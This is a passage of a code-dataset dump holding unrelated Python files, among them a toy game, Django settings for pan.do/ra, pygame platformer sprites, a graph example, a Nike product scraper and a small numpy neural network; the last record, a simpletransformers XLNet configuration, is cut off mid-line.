win\n 0 : otherwise \n done : \n True : done \n False : Not done\n '''\n if control==1: \n self.pose += 1\n if self.pose == self.steps:\n done = True \n reward = 1\n new_state = self.pose\n return new_state, reward, done\n \n done = False\n reward = 0\n new_state = self.pose\n return new_state, reward, done\n elif control==0:\n self.pose -=1\n if self.pose == -1:\n done = True\n reward = 0\n new_state = self.pose\n return new_state, reward, done\n done = False\n reward = 0\n new_state = self.pose\n return new_state, reward, done\n \n else :\n print(\"Wrong control : {}\".format(control))\n done = False\n reward = 0\n new_state = self.pose\n return new_state, reward, done\n\ngame = Env(5);\ndone = False\nwhile not done:\n control = get()\n if control==-1:\n break\n new_state, reward,done = game.move(control)\n game.print_state()\n print(\"new_state, reward, done : {}, {}, {}\".format(new_state, reward, done))\n","sub_path":"practice/five_step_game/game_setting.py","file_name":"game_setting.py","file_ext":"py","file_size_in_byte":2758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"628435346","text":"import math\n\n\n# Input is the recipe && the available ingredients you have\ndef recipe_batches(recipe, ingredients, test):\n # Key is the ingredient name\n # Values are the amount\n # Recipe dictionary represents amount needed\n # Ingredients dictionary represents amount available\n # Function should output the maximum number of whole batches that can be made with available ingredients\n\n # Need to iterate over the recipe, get the key and check if available\n # Then need to check if the value is enough\n # If it is not then we need to return 0\n\n total = test\n for key, value in recipe.items():\n # Check if the ingredients contain the ingredients that the recipe calls for\n if ingredients.get(key) is not None:\n # pass\n if ingredients.get(key) >= value:\n ingredients[key] -= value\n print('new ing', ingredients[key])\n else:\n print(\"Not enough {ingredient} available\".format(ingredient=key))\n return total\n # If the ingredient is not available return 0 and output what ingredient is not available\n else:\n print(\"No {ingredient} available\".format(ingredient=key))\n return 0\n # Check if the amount is the correct amount using the current key and value\n # if ingredients.get(key) >= value:\n # ingredients[key] -= value\n # print('new ing', ingredients[key])\n # else:\n # print(\"Not enough {ingredient} available\".format(ingredient=key))\n # return 0\n total += 1\n recipe_batches(recipe, ingredients, total)\n print(total)\n return total\n\n\nif __name__ == '__main__':\n # Change the entries of these dictionaries to test\n # your implementation with different inputs\n recipe = {'milk': 2}\n ingredients = {'milk': 200}\n print(\"{batches} batches can be made from the available ingredients: {ingredients}.\".format(\n batches=recipe_batches(recipe, ingredients, 0), ingredients=ingredients))\n","sub_path":"src/recipe_batches/recipe_batches.py","file_name":"recipe_batches.py","file_ext":"py","file_size_in_byte":2044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"321864689","text":"# -*- coding: utf-8 -*-\n# vi:si:et:sw=4:sts=4:ts=4\n# Django settings for pan.do/ra project defaults,\n# create local_settings.py to overwrite\n# check pan.do/ra section below for relevant settings\n\nimport os\nfrom os.path import join, normpath, dirname\n\nPROJECT_ROOT = normpath(dirname(__file__))\n\nDEBUG = False\nTEMPLATE_DEBUG = DEBUG\nJSON_DEBUG = False\n\n#this gets set to all users in highest userLevel (app/config.py)\nADMINS = ()\nMANAGERS = ADMINS\n\n\n\n# Local time zone for this installation. Choices can be found here:\n# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name\n# although not all choices may be available on all operating systems.\n# If running in a Windows environment this must be set to the same as your\n# system time zone.\nTIME_ZONE = 'UTC'\n\n#TIME_ZONE = 'Asia/Kolkata'\n\n# Language code for this installation. All choices can be found here:\n# http://www.i18nguy.com/unicode/language-identifiers.html\nLANGUAGE_CODE = 'en-us'\n\nSITE_ID = 1\n\n# If you set this to False, Django will make some optimizations so as not\n# to load the internationalization machinery.\nUSE_I18N = True\nAPPEND_SLASH = False\n\n# Uncomment this if you add https support.\n# Also make sue to send https from your https vhost:\n# proxy_set_header X-Forwarded-Proto https;\n#SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')\n\n# Absolute path to the directory that holds media.\n# Example: \"/home/media/media.lawrence.com/\"\nMEDIA_ROOT = normpath(join(PROJECT_ROOT, '..', 'data'))\nMEDIA_URL = '/data/'\n\nSTATIC_ROOT = normpath(join(PROJECT_ROOT, '..', 'static'))\nSTATIC_URL = '/static/'\nADMIN_MEDIA_PREFIX = '/static/admin/'\n\n# Additional locations of static files\nSTATICFILES_DIRS = (\n # Put strings here, like \"/home/html/static\" or \"C:/www/django/static\".\n # Always use forward slashes, even on Windows.\n # Don't forget to use absolute paths, not relative paths.\n)\n\n# List of finder classes that know how to find static files in\n# various locations.\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n #'django.contrib.staticfiles.finders.DefaultStorageFinder',\n)\n\nGEOIP_PATH = normpath(join(PROJECT_ROOT, '..', 'data', 'geo'))\n\n\n# List of callables that know how to import templates from various sources.\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n 'django.template.loaders.eggs.Loader',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'ox.django.middleware.ExceptionMiddleware',\n 'ox.django.middleware.ChromeFrameMiddleware',\n)\n\nROOT_URLCONF = 'urls'\n\nTEMPLATE_DIRS = (\n join(PROJECT_ROOT, 'templates'),\n)\n\nINSTALLED_APPS = (\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'django.contrib.admin',\n # Uncomment the next line to enable admin documentation:\n # 'django.contrib.admindocs',\n 'django.contrib.humanize',\n\n 'django_extensions',\n 'devserver',\n 'south',\n 'djcelery',\n 'app',\n 'log',\n 'annotation',\n 'clip',\n 'sequence',\n 'archive',\n 'event',\n 'changelog',\n 'item',\n 'itemlist',\n 'person',\n 'title',\n 'place',\n 'text',\n 'edit',\n 'news',\n 'user',\n 'urlalias',\n 'tv',\n 'document',\n)\n\n# Log errors into db\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'handlers': {\n 'errors': {\n 'level': 'ERROR',\n 'class': 'log.utils.ErrorHandler'\n }\n },\n 'loggers': {\n 'django.request': {\n 'handlers': ['errors'],\n 'level': 'ERROR',\n 'propagate': True,\n },\n }\n}\n\nAUTH_PROFILE_MODULE = 'user.UserProfile'\nAUTH_CHECK_USERNAME = True\n\n#=========================================================================\n#Pan.do/ra related settings settings\n#to customize, create local_settings.py and overwrite keys\n\nDATABASES = {\n 'default': {\n 'NAME': 'pandora',\n 'ENGINE': 'django.db.backends.postgresql_psycopg2',\n 'USER': 'pandora',\n 'PASSWORD': ''\n }\n}\n\n#rabbitmq connection settings\nCELERY_RESULT_BACKEND = \"database\"\nBROKER_HOST = \"127.0.0.1\"\nBROKER_PORT = 5672\nBROKER_USER = \"pandora\"\nBROKER_PASSWORD = \"box\"\nBROKER_VHOST = \"/pandora\"\nSEND_CELERY_ERROR_EMAILS = False\n\n#with apache x-sendfile or lighttpd set this to True\nXSENDFILE = False\n\n#with nginx X-Accel-Redirect set this to True\nXACCELREDIRECT = False\n\nSITE_CONFIG = join(PROJECT_ROOT, 'config.jsonc')\nDEFAULT_CONFIG = join(PROJECT_ROOT, 'config.pandora.jsonc')\nRELOAD_CONFIG = True\n\n#used if CONFIG['canDownloadVideo'] is set\nTRACKER_URL=\"udp://tracker.openbittorrent.com:80\"\n\nDATA_SERVICE = ''\nPOSTER_PRECEDENCE = ()\n\nUSE_IMDB = False\n\n#if you set VIDEO_PREFIX make sure cookies work accros subsomains\nVIDEO_PREFIX=''\n#VIDEO_PREFIX = '//video{uid}.example.com'\n#SESSION_COOKIE_DOMAIN = '.example.com'\n\nSESSION_COOKIE_AGE=60*24*60*60\n\nSCRIPT_ROOT = normpath(join(PROJECT_ROOT, '..', 'scripts'))\n#change script to customize\nITEM_POSTER = join(SCRIPT_ROOT, 'poster.py')\nITEM_ICON = join(SCRIPT_ROOT, 'item_icon.py')\nLIST_ICON = join(SCRIPT_ROOT, 'list_icon.py')\n\nDB_GIN_TRGM = False\n\n\nRELOADER_RUNNING = False\n#you can ignore things below this line\n#=========================================================================\nLOCAL_APPS = []\n#load installation specific settings from local_settings.py\ntry:\n from local_settings import *\nexcept ImportError:\n pass\n\n# Make this unique, creates random key first at first time.\ntry:\n SECRET_KEY\nexcept NameError:\n SECRET_FILE = os.path.join(PROJECT_ROOT, 'secret.txt')\n try:\n SECRET_KEY = open(SECRET_FILE).read().strip()\n except IOError:\n try:\n from random import choice\n SECRET_KEY = ''.join([choice('abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*(-_=+)') for i in range(50)])\n secret = file(SECRET_FILE, 'w')\n secret.write(SECRET_KEY)\n secret.close()\n except IOError:\n Exception('Please create a %s file with random characters to generate your secret key!' % SECRET_FILE)\n\nINSTALLED_APPS = tuple(list(INSTALLED_APPS) + LOCAL_APPS)\n","sub_path":"pandora/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":6509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"41208248","text":"import resources\nimport cfg\nimport pygame\nimport clock as time\n\n\ndef collisions(object, group, destroy):\n object.rect.x += object.vx\n block_hit_list = pygame.sprite.spritecollide(object,\n group, destroy)\n object.bonk = False\n for block in block_hit_list:\n if object.vx > 0:\n object.bonk = True\n object.rect.right = block.rect.left\n elif object.vx < 0:\n object.bonk = True\n object.rect.left = block.rect.right\n\n object.rect.y += object.vy\n block_hit_list = pygame.sprite.spritecollide(object,\n group, destroy)\n object.flying = True\n for block in block_hit_list:\n if object.vy > 0:\n object.rect.bottom = block.rect.top\n object.flying = False\n elif object.vy < 0:\n object.rect.top = block.rect.bottom\n\n\nclass Entity(pygame.sprite.Sprite):\n def __init__(self):\n super().__init__()\n self.jumping = False\n self.flying = False\n self.acceleration = 0.0005\n self.friction = 5.0\n self.x = cfg.width / 2\n self.y = cfg.height / 2\n self.ax = 0\n self.ay = 0.0\n self.tx = 0.0\n self.ty = 0.0\n self.maxSpeed = 3.0\n self.vx = 0.0\n self.vy = 0.0\n self.direction = \"\"\n self.bonk = False\n\n\nclass HealthPack(Entity):\n def __init__(self, x, y, hero):\n super().__init__()\n spriteSheet = resources.SpriteSheet(\"items.bmp\")\n self.image = spriteSheet.imageAt((0, 0, 19, 19), -1)\n self.rect = self.image.get_rect()\n self.rect.x = x * 50\n self.rect.y = y * 50\n self.bullets = pygame.sprite.Group()\n self.health = 100\n\n def update(self, dt, tiles, heroX, sprites, hero):\n collisions = pygame.sprite.spritecollide(self, sprites, False)\n for collisions in collisions:\n hero.health += 30\n self.kill()\n\n\nclass Perso(Entity):\n def __init__(self):\n super().__init__()\n self.spriteSheet = resources.SpriteSheet(\"hero.bmp\")\n self.fixR = self.spriteSheet.imageAt((0, 100, 50, 50), -1)\n self.fixL = self.spriteSheet.imageAt((0, 150, 50, 50), -1)\n self.jumpR = self.spriteSheet.imageAt((100, 100, 50, 50), -1)\n self.jumpL = self.spriteSheet.imageAt((100, 150, 50, 50), -1)\n self.image = self.fixR\n self.direction = \"right\"\n self.rect = self.image.get_rect()\n self.animL = resources.AnimSprites(\"hero.bmp\",\n (0, 50, 50, 50), 8, -1, True, 80)\n self.animR = resources.AnimSprites(\"hero.bmp\",\n (0, 0, 50, 50), 8, -1, True, 80)\n self.animExplosion = resources.AnimSprites(\"explosion.bmp\",\n (0, 0, 50, 50),\n 7, -1, False, 20)\n\n self.newRight = True\n self.newLeft = True\n self.anim = self.animR\n self.jumpTime = time.t()\n self.prevFlying = True\n self.flying = True\n self.framesFlying = 0\n\n def move(self, direction):\n if direction is \"left\":\n self.newRight = True\n self.ax = -self.acceleration\n if self.newLeft:\n self.direction = \"left\"\n self.tx = time.t()\n self.anim = self.animL\n self.newLeft = False\n\n elif direction is \"right\":\n self.newLeft = True\n self.ax = self.acceleration\n if self.newRight:\n self.direction = \"right\"\n self.tx = time.t()\n self.anim = self.animR\n self.newRight = False\n\n elif direction is \"stop\":\n self.ax = 0\n self.tx = time.t()\n\n def jump(self):\n if not self.flying and not self.jumping:\n self.jumping = True\n self.jumpTime = time.t()\n\n def update(self, dt, blocks):\n super().update(dt, blocks)\n self.vx = self.ax * ((time.t()-self.tx)**2)\n\n if not self.jumping:\n self.vy = cfg.gravity * ((time.t() - self.ty)**2)\n if self.jumping:\n if time.t() - self.jumpTime > 700:\n self.jumping = False\n self.ty = time.t()\n else:\n self.vy -= 10 * ((time.t() - self.jumpTime)**2)\n\n if self.vx > self.maxSpeed:\n self.vx = self.maxSpeed\n if self.vx < -self.maxSpeed:\n self.vx = -self.maxSpeed\n\n if self.vy > self.maxSpeed:\n self.vy = self.maxSpeed\n if self.vy < -self.maxSpeed:\n self.vy = -self.maxSpeed\n\n collisions(self, blocks, False)\n if not self.flying:\n self.ty = time.t()\n self.framesFlying = 0\n else:\n self.framesFlying += 1\n\n # Gestion du sprite\n if self.vx != 0:\n try:\n self.image = self.anim.next()\n except StopIteration:\n self.kill()\n\n else:\n if self.newLeft:\n self.image = self.fixR\n\n else:\n self.image = self.fixL\n\n if self.framesFlying > 16:\n if self.newLeft:\n self.image = self.jumpR\n else:\n self.image = self.jumpL\n\n\nclass Hero(Perso):\n def __init__(self):\n super().__init__()\n self.rect.x = cfg.width / 2\n self.rect.y = cfg.height / 2\n self.rateOfFire = 200\n self.health = 100\n file = open(\"levels/save.txt\", \"r\")\n file.seek(2)\n self.lives = int(file.read(1))\n file.close()\n\n def update(self, dt, tiles, sprites, ennemies):\n super().update(dt, tiles)\n ennemyCollisions = pygame.sprite.spritecollide(self, ennemies, False)\n for collisions in ennemyCollisions:\n self.health -= 10\n if self.rect.y > cfg.height:\n self.health = 0\n\n\nclass EnnemySoldier(Perso):\n def __init__(self, x, y, hero):\n super().__init__()\n self.spriteSheet = resources.SpriteSheet(\"ennemy_soldier.bmp\")\n self.fixR = self.spriteSheet.imageAt((0, 100, 50, 50), -1)\n self.fixL = self.spriteSheet.imageAt((0, 150, 50, 50), -1)\n self.jumpR = self.spriteSheet.imageAt((100, 100, 50, 50), -1)\n self.jumpL = self.spriteSheet.imageAt((100, 150, 50, 50), -1)\n self.image = self.fixR\n self.direction = \"right\"\n self.rect = self.image.get_rect()\n self.animL = resources.AnimSprites(\"ennemy_soldier.bmp\",\n (0, 50, 50, 50), 8, -1, True, 80)\n self.animR = resources.AnimSprites(\"ennemy_soldier.bmp\",\n (0, 0, 50, 50), 8, -1, True, 80)\n\n self.health = 100\n self.rect.x = x * 50\n self.rect.y = y * 50\n self.direction = \"left\"\n self.prevX = self.rect.x\n self.prevY = self.rect.y\n self.bullets = pygame.sprite.Group()\n self.rateOfFire = time.t()\n\n def shoot(self):\n if time.t() - self.rateOfFire > 700 and len(self.bullets) < 3:\n self.rateOfFire = time.t()\n if self.direction == \"right\":\n bullet = Bullet(self.rect.x + 81, self.rect.y + 12,\n self.direction)\n bullet.add(self.bullets)\n elif self.direction == \"left\":\n bullet = Bullet(self.rect.x - 31, self.rect.y + 12,\n self.direction)\n bullet.add(self.bullets)\n\n def update(self, dt, tiles, heroX, sprites, hero):\n distance = heroX - self.rect.x\n if distance < cfg.width and distance > -cfg.width:\n self.groundRight = False\n self.groundLeft = False\n self.move(self.direction)\n super().update(dt, tiles)\n if self.bonk:\n if self.direction == \"left\":\n self.direction = \"right\"\n elif self.direction == \"right\":\n self.direction = \"left\"\n if self.flying:\n self.framesFlying += 1\n else:\n self.framesFlying = 0\n self.prevX = self.rect.x\n self.prevY = self.rect.y\n\n if self.framesFlying > 16:\n if self.direction == \"left\":\n self.direction = \"right\"\n elif self.direction == \"right\":\n self.direction = \"left\"\n self.rect.x = self.prevX\n self.rect.y = self.prevY\n self.framesFlying = 0\n if (distance < 250 and distance > 0 and self.direction == \"right\") or\\\n (distance > -250 and distance < 0 and self.direction == \"left\"):\n self.move(\"stop\")\n self.shoot()\n else:\n self.move(self.direction)\n if self.health <= 0:\n self.move(\"stop\")\n self.anim = self.animExplosion\n\n\nclass Bullet(pygame.sprite.Sprite):\n def __init__(self, x, y, direction):\n super().__init__()\n self.spriteSheet = resources.SpriteSheet(\"bullet.bmp\")\n self.tir1 = self.spriteSheet.imageAt((0, 0, 30, 10), -1)\n self.tir2 = self.spriteSheet.imageAt((0, 10, 30, 10), -1)\n self.tir3 = self.spriteSheet.imageAt((0, 20, 30, 10), -1)\n self.tir4 = self.spriteSheet.imageAt((0, 30, 30, 10), -1)\n self.tir5 = self.spriteSheet.imageAt((0, 40, 30, 10), -1)\n self.tir6 = self.spriteSheet.imageAt((0, 50, 30, 10), -1)\n\n self.image = self.tir1\n self.direction = direction\n self.rect = self.image.get_rect()\n self.startX = x\n self.rect.x = x\n self.rect.y = y\n\n self.vx = 8\n\n def update(self, dt, blocks, ennemies, bullets, sprites, hero):\n if self.direction == \"left\":\n self.rect.x -= self.vx\n else:\n self.rect.x += self.vx\n if self.rect.x > self.startX + cfg.width * 2 or\\\n self.rect.x < self.startX - cfg.width * 2:\n self.kill()\n pygame.sprite.groupcollide(bullets, blocks, True, False)\n ennemyCollisions = pygame.sprite.groupcollide(bullets, ennemies, True,\n False)\n for bullet in ennemyCollisions.keys():\n for ennemi in ennemyCollisions[bullet]:\n ennemi.health -= 100\n\n collisionHero = pygame.sprite.spritecollide(hero, bullets, True)\n for bullet in collisionHero:\n hero.health -= 10\n","sub_path":"objects.py","file_name":"objects.py","file_ext":"py","file_size_in_byte":10768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"343312773","text":"##############################################################################\n# \n# Copyright (C) Zenoss, Inc. 2008, all rights reserved.\n# \n# This content is made available according to terms specified in\n# License.zenoss under the directory where your Zenoss product is installed.\n# \n##############################################################################\n\n# If you change this, also change legacy/zenoss-version/setup.py\n# in the zenoss/platform-build repository.\nVERSION=\"5.2.0\"\n","sub_path":"Products/ZenModel/ZVersion.py","file_name":"ZVersion.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"448028531","text":"from grafosConPesos import *\n\nbuenosAires = \"BuenosAires\"\nsanPedro = \"San Pedro\"\nrosario = \"Rosario\"\ncordoba = \"Cordoba\"\nvillaMaria = \"Villa Maria\"\nsanLuis = \"San Luis\"\nmendoza = \"Mendoza\"\nbahiaBlanca = \"Bahia Blanca\"\n\n\n\ngrafo = Grafo()\nagregar(grafo, buenosAires)\nagregar(grafo, sanLuis)\nagregar(grafo, sanPedro)\nagregar(grafo, rosario)\nagregar(grafo, cordoba)\nagregar(grafo, villaMaria)\nagregar(grafo, bahiaBlanca)\nagregar(grafo, mendoza)\n\nrelacionar(grafo, buenosAires, sanPedro, 175)\nrelacionar(grafo, buenosAires, sanLuis, 790)\nrelacionar(grafo, buenosAires, bahiaBlanca, 660)\n\n\nrelacionar(grafo, sanLuis, mendoza,260)\nrelacionar(grafo, sanLuis, villaMaria,350)\nrelacionar(grafo, sanLuis, bahiaBlanca,800)\nrelacionar(grafo, villaMaria, cordoba,150)\nrelacionar(grafo, villaMaria, rosario,245)\nrelacionar(grafo, rosario, sanPedro,160)\n\ndef imprimir (elemento):\n print(elemento) \n\nprint(caminoMinimo(grafo,buenosAires,villaMaria))\n\n","sub_path":"GrafosConArchivo/ejemplo/grafosConPesosMain.py","file_name":"grafosConPesosMain.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"172053841","text":"import bs4\nimport json\nfrom urllib.request import urlopen as ureq\nfrom bs4 import BeautifulSoup as soup\n\nimport os \nBASE_DIRECTORY = os.path.abspath(os.path.dirname(__file__))\nCSV_FILE = os.path.join(BASE_DIRECTORY, 'data_csv.csv')\nJSON_FILE = os.path.join(BASE_DIRECTORY, 'data_json.json')\n\n\nmy_url = {\"Chaussures de running\" : \"https://store.nike.com/fr/fr_fr/pw/homme-v%C3%AAtements/1mdZ7pu?ipp=120\",\n \"CHAUSSURES DE FOOTBALL\" : \"https://store.nike.com/fr/fr_fr/pw/homme-compression-nike-pro/7puZobn\"}\n\ndata_json = []\ndata_csv = \"name_product,discription_product,colors_product,price_product,catégorie\\n\"\n\ndef selection(grides , x):\n global data_csv, data_json\n \n i = 1\n for gride in grides :\n #print('_________/',i,'\\________')\n #couleur de produit\n product_colors = gride.div.div.text\n\n product_info = gride.findAll('div' ,{\"class\" : \"product-name\"})\n \n #nom de produit\n product_n = product_info[0].findAll('p' , {\"class\" : \"product-display-name\"})\n product_name = product_n[0].text\n \n #discription sur le produit\n product_d = product_info[0].findAll('p' , {\"class\" : \"product-subtitle\"})\n product_discription = product_d[0].text\n \n #prix de produit\n product_price1 = gride.findAll('div' ,{\"class\" : \"product-price\"})\n product_price2 = product_price1[0].findAll(\"span\" , {\"class\" : \"local\"})\n product_price = product_price2[0].text \n\n #print(product_name)\n #print(product_discription)\n #print(product_colors)\n #print(product_price)\n \n data_csv = data_csv + \"{},{},{},{},{}\\n\".format (\n product_name, product_discription, product_colors, product_price.replace(',','.'), x\n )\n \n data_json += [{\"name\" : product_name , \"discription\" : product_discription , \"colors\" : product_colors , \"price\" : product_price}]\n \n # if i < len(grides):\n # data_csv = data_csv + ','\n i += 1\n\n\nif __name__ == '__main__':\n\n for x in my_url :\n uclient = ureq(my_url[x])\n page_html = uclient.read()\n uclient.close()\n pagesoup = soup(page_html , \"html.parser\")\n grides = pagesoup.findAll(\"div\" , {\"class\" : \"grid-item-info\"})\n print('cotégorie de produits = ', x )\n print('num de produits = ',len(grides))\n\n selection(grides , x)\n\n #file save\n with open(CSV_FILE, 'w') as csv_f:\n csv_f.write(data_csv)\n\n with open(JSON_FILE, 'w') as json_f:\n json_f.write(json.dumps(data_json)+'\\n')","sub_path":"scrap.py","file_name":"scrap.py","file_ext":"py","file_size_in_byte":2586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"59932485","text":"import os\nimport config as cfg\nimport numpy as np\nimport csv\n\n# class sampledata():\n#\n# def __init__(self):\n# self._sample_person = {}\n# self._sample = []\n# self._sample_label = {}\n# self._sample_test = []\n# face_path = cfg.IMAGEPATH\n#\n# for num, personname in enumerate(sorted(os.listdir(face_path))):\n# person_path = face_path + personname + '/face'\n# picnames = [{'picname': personname + '/face/' + i, 'flipped': False}\n# for i in sorted(os.listdir(person_path))\n# if os.path.getsize(os.path.join(person_path, i)) > 0]\n# pic_train = int(len(picnames) * cfg.PERCENT)\n# self._sample_person[personname] = picnames[:pic_train]\n# self._sample_label[personname] = num\n# self._sample.extend(picnames[:pic_train])\n# self._sample_test.extend(picnames[pic_train:])\n#\n# if cfg.FLIPPED:\n# picnames_flipped = [{'picname': i['picname'], 'flipped': True}\n# for i in picnames[:pic_train]]\n# self._sample_person[personname].extend(picnames_flipped)\n# self._sample.extend(picnames_flipped)\n#\n# print 'Number of training persons: {}'.format(len(self._sample_person))\n# print 'Number of training images: {}'.format(len(self._sample))\n# print 'Number of testing images: {}'.format(len(self._sample_test))\n\nclass sampledata():\n def __init__(self):\n with open(cfg.TRAIN_FILE,'rU') as tf:\n readerT = csv.reader(tf, delimiter=' ')\n trainIms = list(readerT)\n self.train_im_paths = [i[0] for i in trainIms]\n self.train_labels = [i[1] for i in trainIms]\n\n with open(cfg.VAL_FILE,'rU') as vf:\n readerV = csv.reader(vf, delimiter=' ')\n valIms = list(readerV)\n self.val_im_paths = [i[0] for i in valIms]\n self.val_labels = [i[1] for i in valIms]\n\n if cfg.FLIPPED:\n flipped_train_ims = [i.split('.')[0]+'_flip.jpg' for i in self.train_im_paths]\n self.train_im_paths.extend(flipped_train_ims)\n self.train_labels.extend(self.train_labels)\n\n flipped_val_ims = [i.split('.')[0]+'_flip.jpg' for i in self.val_im_paths]\n self.val_im_paths.extend(flipped_val_ims)\n self.val_labels.extend(self.val_labels)\n\nif __name__ == '__main__':\n sample = sampledata()\n","sub_path":"tripletloss/sampledata.py","file_name":"sampledata.py","file_ext":"py","file_size_in_byte":2489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"431855189","text":"import pickle \nimport gzip \nimport numpy as n\nimport random as rand\nimport math\nimport timeit as time\nimport copy\n\nclass NN:\n def __init__(self,i,hl,output,lr):\n # n.random.seed(9)\n self.wi=n.array(n.random.rand(hl,i)/i)\n self.whl=n.array(n.random.rand(output,hl)/hl)\n self.bi=n.array(n.random.rand(hl,)/i)\n self.bhl=n.array(n.random.rand(output,)/hl)\n self.lr=lr\n \n def setInput(self,xTrain,tTrain):\n self.xTraining=n.array(xTrain)\n self.tTraining=n.array(tTrain) \n\n\n\n def train(self,xTrain,tTrain,size):\n self.crossEntropy=0\n self.deltaL=n.zeros((len(self.bhl),len(self.bi)))\n self.deltaL2=n.zeros((len(self.wi),len(self.wi[0])))\n self.deltaLB1=n.zeros(len(self.bhl))\n self.deltaLB2=n.zeros(len(self.bi))\n #Optimization DROPOUT\n self.dWi=copy.deepcopy(self.wi)\n self.dWhl=copy.deepcopy(self.whl)\n self.dBi=copy.deepcopy(self.bi)\n droped=[rand.randint(0,len(self.dBi)-1) for i in range(int((len(self.dBi))*0.25))]\n self.dWhl=n.transpose(self.dWhl)\n for i in droped:\n self.dBi[i]=self.dBi[i]*0\n self.dWhl[i]=self.dWhl[i]*0\n self.dWi[i]*=0\n self.dWhl=n.transpose(self.dWhl)\n\n for x,t in zip(xTrain,tTrain):\n # print(\" Train:\",x)\n self.ho=n.dot(self.dWi,x)+self.dBi\n self.ho=[sigmoid(self.ho[i]) for i in range(len(self.ho))]\n self.output=n.dot(self.dWhl,self.ho)+self.bhl\n self.output=softmax(self.output)\n vecT=n.array(createT(t,len(self.output)))\n self.crossEntropy+=cross_entropy(self.output,vecT)\n self.sigma2_3=self.output-vecT\n self.ho=n.reshape(n.array(self.ho),(1,len(self.ho)))\n #Survive Adapte Overcome\n f1=n.array(self.ho*(1-self.ho))\n f2=n.dot(self.sigma2_3,self.dWhl)\n self.sigma1_2=n.array(f1*f2)\n dC_dWhl=self.sigma2_3*n.transpose(self.ho)\n dC_dWi=self.sigma1_2*n.reshape(x,(len(x),1))\n self.deltaL2+=n.transpose(dC_dWi)\n self.deltaL+=n.transpose(dC_dWhl)\n self.deltaLB1+=self.sigma2_3\n self.deltaLB2+=n.reshape(self.sigma1_2,(len(self.sigma1_2[0]),))\n # print(self.wi)\n self.whl-=((self.lr)*self.deltaL)\n self.wi-=((self.lr)*self.deltaL2)\n self.bi-=((self.lr)*n.reshape((n.array(self.deltaLB2)),(len(self.bi),)))\n self.bhl-=((self.lr)*n.array(self.deltaLB1))\n \n def miniBatch(self,size,ephocs):\n self.count=0\n for i in range(ephocs):\n x,t=self.xTraining,self.tTraining\n j=rand.randint(0,len(self.xTraining)-size)\n mini_x=x[j:j+size]\n mini_t=t[j:j+size] \n NN.train(self,mini_x,mini_t,size)\n # print(self.crossEntropy)\n def test(self,xt):\n for x in xt:\n x=n.array(x)\n # print(x)\n self.ho=n.dot(self.wi,x)+self.bi\n self.ho=[sigmoid(self.ho[i]) for i in range(len(self.ho))]\n self.output=n.dot(self.whl,self.ho)+self.bhl\n self.output=softmax(self.output)\n outputExpected=-1\n maxim=-99999\n for j in range(0,len(self.output)):\n if self.output[j]>maxim:\n maxim=self.output[j]\n outputExpected=j\n print(outputExpected)\n\n\ndef forwardProp(x,w,b):\n return n.dot(w,x)+b\n\ndef sumOfDandW(w,d,i):\n suma=0\n for j in range(len(d)):\n suma+=d[j]*w[j][j]\n return suma\n\ndef softmax(x):\n e_x = n.exp(x - n.max(x))\n return e_x / e_x.sum(axis=0)\n\ndef sigmoid(x):\n return 1/(1 + n.exp(-x))\n\ndef sigma(x):\n return x*(1-x)\n\ndef cross_entropy(predictions, targets, epsilon=1e-12):\n predictions = n.clip(predictions, epsilon, 1. - epsilon)\n N = predictions.shape[0]\n ce = -n.sum(targets*n.log(predictions+1e-9))/N\n return ce\n\ndef createT(x,size):\n vec=[]\n for i in range(size):\n if i==x:\n vec.append(1)\n else:\n vec.append(0)\n return vec\n","sub_path":"Neural Nets/NNWithBackProp.py","file_name":"NNWithBackProp.py","file_ext":"py","file_size_in_byte":4137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"643101978","text":"from simpletransformers.classification import ClassificationModel\nfrom sklearn.metrics import classification_report, confusion_matrix\nimport numpy as np\nimport pandas as pd\nfrom emoji_to_words import emoji_to_words\nfrom hashtags import do_splitting\n\ndef Bbestxlnet():\n architecture = 'xlnet'\n model_type = 'xlnet-base-cased'\n subtask = 'B'\n size = \"large\" # small or large\n balance = False\n output_path = 'outputs/'+architecture+'/'+model_type+'/'+size+'/subtask'+subtask\n\n args = {\n 'output_dir': output_path,\n 'cache_dir': 'cache/',\n 'max_seq_length': 64,\n 'train_batch_size': 8,\n 'eval_batch_size': 8,\n 'gradient_accumulation_steps': 1,\n 'num_train_epochs': 1,\n 'weight_decay': 0,\n 'learning_rate': 4e-6,\n 'adam_epsilon': 1e-8,\n 'warmup_ratio': 0.06,\n 'warmup_steps': 0,\n 'max_grad_norm': 1.0,\n\n 'logging_steps': 50,\n 'evaluate_during_training': False,\n 'save_steps': 2000,\n 'eval_all_checkpoints': True,\n 'use_tensorboard': True,\n\n 'overwrite_output_dir': True,\n 'reprocess_input_data': False,\n\n }\n\n # Create train_df\n if balance:\n path = 